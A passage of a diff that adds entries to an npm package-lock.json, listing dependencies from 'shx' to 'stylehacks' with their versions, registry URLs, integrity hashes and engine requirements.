"dependencies": { + "es6-object-assign": "^1.0.3", + "minimist": "^1.2.0", + "shelljs": "^0.7.3" + }, + "bin": { + "shx": "lib/cli.js" + } + }, + "node_modules/shx/node_modules/glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/shx/node_modules/shelljs": { + "version": "0.7.8", + "resolved": "https://registry.npmjs.org/shelljs/-/shelljs-0.7.8.tgz", + "integrity": "sha1-3svPh0sNHl+3LhSxZKloMEjprLM=", + "dev": true, + "dependencies": { + "glob": "^7.0.0", + "interpret": "^1.0.0", + "rechoir": "^0.6.2" + }, + "bin": { + "shjs": "bin/shjs" + }, + "engines": { + "iojs": "*", + "node": ">=0.11.0" + } + }, + "node_modules/sigmund": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/sigmund/-/sigmund-1.0.1.tgz", + "integrity": "sha512-fCvEXfh6NWpm+YSuY2bpXb/VIihqWA6hLsgboC+0nl71Q7N7o2eaCW8mJa/NLvQhs6jpd3VZV4UiUQlV6+lc8g==", + "dev": true + }, + "node_modules/signal-exit": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.2.tgz", + "integrity": "sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0=" + }, + "node_modules/simple-concat": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.0.tgz", + "integrity": "sha1-c0TLuLbib7J9ZrL8hvn21Zl1IcY=", + "dev": true + }, + "node_modules/simple-get": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-2.7.0.tgz", + "integrity": "sha512-RkE9rGPHcxYZ/baYmgJtOSM63vH0Vyq+ma5TijBcLla41SWlh8t6XYIGMR/oeZcmr+/G8k+zrClkkVrtnQ0esg==", + "dev": true, + "optional": true, + "dependencies": { + "decompress-response": "^3.3.0", + "once": "^1.3.1", + "simple-concat": "^1.0.0" + } + }, + "node_modules/simple-swizzle": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/simple-swizzle/-/simple-swizzle-0.2.2.tgz", + "integrity": "sha1-pNprY1/8zMoz9w0Xy5JZLeleVXo=", + "dev": true, + "dependencies": { + "is-arrayish": "^0.3.1" + } + }, + "node_modules/simple-swizzle/node_modules/is-arrayish": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.3.2.tgz", + "integrity": "sha512-eVRqCvVlZbuw3GrM63ovNSNAeA1K16kaR/LRY/92w0zxQ5/1YzwblUX652i4Xs9RwAGjW9d9y6X88t8OaAJfWQ==", + "dev": true + }, + "node_modules/sisteransi": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", + "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==", + "peer": true + }, + "node_modules/slash": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-1.0.0.tgz", + "integrity": "sha1-xB8vbDn8FtHNF61LXYlhFK5HDVU=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/slice-ansi": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-1.0.0.tgz", + "integrity": "sha512-POqxBK6Lb3q6s047D/XsDVNPnF9Dl8JSaqe9h9lURl0OdNqy/ujDrOiIHtsqXMGbWWTIomRzAMaTyawAU//Reg==", + "dev": true, + "dependencies": { + "is-fullwidth-code-point": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/slice-ansi/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/snapdragon": { + "version": "0.8.2", + "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz", + "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==", + "dependencies": { + "base": "^0.11.1", + "debug": "^2.2.0", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "map-cache": "^0.2.2", + "source-map": "^0.5.6", + "source-map-resolve": "^0.5.0", + "use": "^3.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-node": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz", + "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==", + "dependencies": { + "define-property": "^1.0.0", + "isobject": "^3.0.0", + "snapdragon-util": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-node/node_modules/define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dependencies": { + "is-descriptor": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-node/node_modules/is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-node/node_modules/is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-node/node_modules/is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dependencies": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-node/node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-node/node_modules/kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-util": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz", + "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==", + "dependencies": { + "kind-of": "^3.2.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon/node_modules/define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dependencies": { + "is-descriptor": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/sort-keys": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-1.1.2.tgz", + "integrity": "sha1-RBttTTRnmPG05J6JIK37oOVD+a0=", + "dev": true, + "dependencies": { + "is-plain-obj": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-list-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.0.tgz", + "integrity": "sha1-qqR0A/eyRakvvJfqCPJQ1gh+0IU=", + "dev": true + }, + "node_modules/source-map": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.6.tgz", + "integrity": "sha1-dc449SvwczxafwwRjYEzSiu19BI=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-resolve": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.2.tgz", + "integrity": "sha512-MjqsvNwyz1s0k81Goz/9vRBe9SZdB09Bdw+/zYyO+3CuPk6fouTaxscHkgtE8jKvf01kVfl8riHzERQ/kefaSA==", + "deprecated": "See https://github.com/lydell/source-map-resolve#deprecated", + "dependencies": { + "atob": "^2.1.1", + "decode-uri-component": "^0.2.0", + "resolve-url": "^0.2.1", + "source-map-url": "^0.4.0", + "urix": "^0.1.0" + } + }, + "node_modules/source-map-support": { + "version": "0.4.18", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.4.18.tgz", + "integrity": "sha512-try0/JqxPLF9nOjvSta7tVondkP5dwgyLDjVoyMDlmjugT2lRZ1OfsrYTkCd2hkDnJTKRbO/Rl3orm8vlsUzbA==", + "dev": true, + "dependencies": { + "source-map": "^0.5.6" + } + }, + "node_modules/source-map-url": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.0.tgz", + "integrity": "sha1-PpNdfd1zYxuXZZlW1VEo6HtQhKM=", + "deprecated": "See https://github.com/lydell/source-map-url#deprecated" + }, + "node_modules/spdx-correct": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.0.0.tgz", + "integrity": "sha512-N19o9z5cEyc8yQQPukRCZ9EUmb4HUpnrmaL/fxS2pBo2jbfcFRVuFZ/oFC+vZz0MNNk0h80iMn5/S6qGZOL5+g==", + "dev": true, + "dependencies": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-exceptions": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.1.0.tgz", + "integrity": "sha512-4K1NsmrlCU1JJgUrtgEeTVyfx8VaYea9J9LvARxhbHtVtohPs/gFGG5yy49beySjlIMhhXZ4QqujIZEfS4l6Cg==", + "dev": true + }, + "node_modules/spdx-expression-parse": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.0.tgz", + "integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==", + "dev": true, + "dependencies": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-license-ids": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.0.tgz", + "integrity": "sha512-2+EPwgbnmOIl8HjGBXXMd9NAu02vLjOO1nWw4kmeRDFyHn+M/ETfHxQUK0oXg8ctgVnl9t3rosNVsZ1jG61nDA==", + "dev": true + }, + "node_modules/split-string": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz", + "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==", + "dependencies": { + "extend-shallow": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=" + }, + "node_modules/ssh2": { + "version": "0.4.15", + "resolved": "https://registry.npmjs.org/ssh2/-/ssh2-0.4.15.tgz", + "integrity": "sha1-B8b0EG2fe26m5N9jbGxT8fmBf/g=", + "dev": true, + "dependencies": { + "readable-stream": "~1.0.0", + "ssh2-streams": "~0.0.22" + }, + "engines": { + "node": ">=0.8.7" + } + }, + "node_modules/ssh2-streams": { + "version": "0.0.23", + "resolved": "https://registry.npmjs.org/ssh2-streams/-/ssh2-streams-0.0.23.tgz", + "integrity": "sha1-ru8wgxu1/Er2qj9tCiYaQTUxYSs=", + "dev": true, + "dependencies": { + "asn1": "~0.2.0", + "readable-stream": "~1.0.0", + "streamsearch": "~0.1.2" + }, + "engines": { + "node": ">=0.8.7" + } + }, + "node_modules/ssh2-streams/node_modules/isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", + "dev": true + }, + "node_modules/ssh2-streams/node_modules/readable-stream": { + "version": "1.0.34", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", + "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" + } + }, + "node_modules/ssh2/node_modules/isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", + "dev": true + }, + "node_modules/ssh2/node_modules/readable-stream": { + "version": "1.0.34", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", + "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" + } + }, + "node_modules/sshpk": { + "version": "1.14.2", + "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.14.2.tgz", + "integrity": "sha1-xvxhZIo9nE52T9P8306hBeSSupg=", + "dev": true, + "dependencies": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "dashdash": "^1.12.0", + "getpass": "^0.1.1", + "safer-buffer": "^2.0.2" + }, + "bin": { + "sshpk-conv": "bin/sshpk-conv", + "sshpk-sign": "bin/sshpk-sign", + "sshpk-verify": "bin/sshpk-verify" + }, + "engines": { + "node": ">=0.10.0" + }, + "optionalDependencies": { + "bcrypt-pbkdf": "^1.0.0", + "ecc-jsbn": "~0.1.1", + "jsbn": "~0.1.0", + "tweetnacl": "~0.14.0" + } + }, + "node_modules/ssri": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/ssri/-/ssri-5.3.0.tgz", + "integrity": "sha512-XRSIPqLij52MtgoQavH/x/dU1qVKtWUAAZeOHsR9c2Ddi4XerFy3mc1alf+dLJKl9EUIm/Ht+EowFkTUOA6GAQ==", + "dev": true, + "dependencies": { + "safe-buffer": "^5.1.1" + } + }, + "node_modules/stable": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz", + "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==", + "deprecated": "Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility", + "dev": true + }, + "node_modules/stack-utils": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz", + "integrity": "sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==", + "peer": true, + "dependencies": { + "escape-string-regexp": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/stack-utils/node_modules/escape-string-regexp": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", + "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/stackframe": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/stackframe/-/stackframe-1.3.4.tgz", + "integrity": "sha512-oeVtt7eWQS+Na6F//S4kJ2K2VbRlS9D43mAlMyVpVWovy9o+jfgH8O9agzANzaiLjclA0oYzUXEM4PurhSUChw==", + "peer": true + }, + "node_modules/stacktrace-parser": { + "version": "0.1.10", + "resolved": "https://registry.npmjs.org/stacktrace-parser/-/stacktrace-parser-0.1.10.tgz", + "integrity": "sha512-KJP1OCML99+8fhOHxwwzyWrlUuVX5GQ0ZpJTd1DFXhdkrvg1szxfHhawXUZ3g9TkXORQd4/WG68jMlQZ2p8wlg==", + "peer": true, + "dependencies": { + "type-fest": "^0.7.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/static-extend": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz", + "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=", + "dependencies": { + "define-property": "^0.2.5", + "object-copy": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/static-extend/node_modules/define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dependencies": { + "is-descriptor": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==", + "peer": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/stdout-stream": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/stdout-stream/-/stdout-stream-1.4.1.tgz", + "integrity": "sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==", + "dev": true, + "dependencies": { + "readable-stream": "^2.0.1" + } + }, + "node_modules/stream-browserify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/stream-browserify/-/stream-browserify-2.0.1.tgz", + "integrity": "sha1-ZiZu5fm9uZQKTkUUyvtDu3Hlyds=", + "dev": true, + "dependencies": { + "inherits": "~2.0.1", + "readable-stream": "^2.0.2" + } + }, + "node_modules/stream-buffers": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/stream-buffers/-/stream-buffers-2.2.0.tgz", + "integrity": "sha1-kdX1Ew0c75bc+n9yaUUYh0HQnuQ=", + "dev": true, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/stream-combiner2": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/stream-combiner2/-/stream-combiner2-1.1.1.tgz", + "integrity": "sha1-+02KFCDqNidk4hrUeAOXvry0HL4=", + "dev": true, + "dependencies": { + "duplexer2": "~0.1.0", + "readable-stream": "^2.0.2" + } + }, + "node_modules/stream-each": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/stream-each/-/stream-each-1.2.2.tgz", + "integrity": "sha512-mc1dbFhGBxvTM3bIWmAAINbqiuAk9TATcfIQC8P+/+HJefgaiTlMn2dHvkX8qlI12KeYKSQ1Ua9RrIqrn1VPoA==", + "dev": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "stream-shift": "^1.0.0" + } + }, + "node_modules/stream-http": { + "version": "2.7.2", + "resolved": "https://registry.npmjs.org/stream-http/-/stream-http-2.7.2.tgz", + "integrity": "sha1-QKBQ7I3DtTsz2ZCUFcAsC/Gr+60=", + "dev": true, + "dependencies": { + "builtin-status-codes": "^3.0.0", + "inherits": "^2.0.1", + "readable-stream": "^2.2.6", + "to-arraybuffer": "^1.0.0", + "xtend": "^4.0.0" + } + }, + "node_modules/stream-shift": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.0.tgz", + "integrity": "sha1-1cdSgl5TZ+eG944Y5EXqIjoVWVI=", + "dev": true + }, + "node_modules/stream-splicer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/stream-splicer/-/stream-splicer-2.0.0.tgz", + "integrity": "sha1-G2O+Q4oTPktnHMGTUZdgAXWRDYM=", + "dev": true, + "dependencies": { + "inherits": "^2.0.1", + "readable-stream": "^2.0.2" + } + }, + "node_modules/streamsearch": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-0.1.2.tgz", + "integrity": "sha1-gIudDlb8Jz2Am6VzOOkpkZoanxo=", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/strict-uri-encode": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz", + "integrity": "sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/string_decoder": { + "version": "0.10.31", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", + "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=", + "dev": true + }, + "node_modules/string-template": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/string-template/-/string-template-0.2.1.tgz", + "integrity": "sha1-QpMuWYo1LQH8IuwzZ9nYTuxsmt0=", + "dev": true + }, + "node_modules/string-to-js": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/string-to-js/-/string-to-js-0.0.1.tgz", + "integrity": "sha1-vxU8dgY2+qMHabgEoBlVUrp62A8=", + "dev": true + }, + "node_modules/string-width": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", + "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "dev": true, + "dependencies": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strip-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", + "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", + "dependencies": { + "ansi-regex": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strip-bom": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-2.0.0.tgz", + "integrity": "sha1-YhmoVhZSBJHzV4i9vxRHqZx+aw4=", + "dev": true, + "dependencies": { + "is-utf8": "^0.2.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strip-eof": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz", + "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strip-indent": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-1.0.1.tgz", + "integrity": "sha1-DHlipq3vp7vUrDZkYKY4VSrhoKI=", + "dev": true, + "dependencies": { + "get-stdin": "^4.0.1" + }, + "bin": { + "strip-indent": "cli.js" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strip-json-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", + "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strnum": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/strnum/-/strnum-1.0.5.tgz", + "integrity": "sha512-J8bbNyKKXl5qYcR36TIO8W3mVGVHrmmxsd5PAItGkmyzwJvybiw2IVq5nqd0i4LSNSkB/sx9VHllbfFdr9k1JA==", + "peer": true + }, + "node_modules/style-loader": { + "version": "0.19.1", + "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-0.19.1.tgz", + "integrity": "sha512-IRE+ijgojrygQi3rsqT0U4dd+UcPCqcVvauZpCnQrGAlEe+FUIyrK93bUDScamesjP08JlQNsFJU+KmPedP5Og==", + "dev": true, + "dependencies": { + "loader-utils": "^1.0.2", + "schema-utils": "^0.3.0" + }, + "engines": { + "node": ">= 0.12.0" + } + }, + "node_modules/style-loader/node_modules/schema-utils": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.3.0.tgz", + "integrity": "sha1-9YdyIs4+kx7a4DnxfrNxbnE3+M8=", + "dev": true, + "dependencies": { + "ajv": "^5.0.0" + }, + "engines": { + "node": ">= 4.3 < 5.0.0 || >= 5.10" + } + }, + "node_modules/stylehacks": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-4.0.0.tgz", + "integrity": "sha1-ZLMjlRxKJOX8ey7AbBN78y0VXoo=", + "dev": true, + "dependencies": { + "browserslist": "^4.0.0", + "postcss": "^6.0.0", + "postcss-selector-parser": "^3.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/stylehacks/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/stylehacks/node_modules/browserslist": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.0.1.tgz", + "integrity": "sha512-QqiiIWchEIkney3wY53/huI7ZErouNAdvOkjorUALAwRcu3tEwOV3Sh6He0DnP38mz1JjBpCBb50jQBmaYuHPw==", + "dev": true, + "dependencies": { + "caniuse-lite": "^1.0.30000865", + "electron-to-chromium": "^1.3.52", + "node-releases": "^1.0.0-alpha.10" + }, + "bin": { + "browserslist": "cli.js" + } + }, + "node_modules/stylehacks/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/stylehacks/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/stylehacks/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/stylehacks/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + 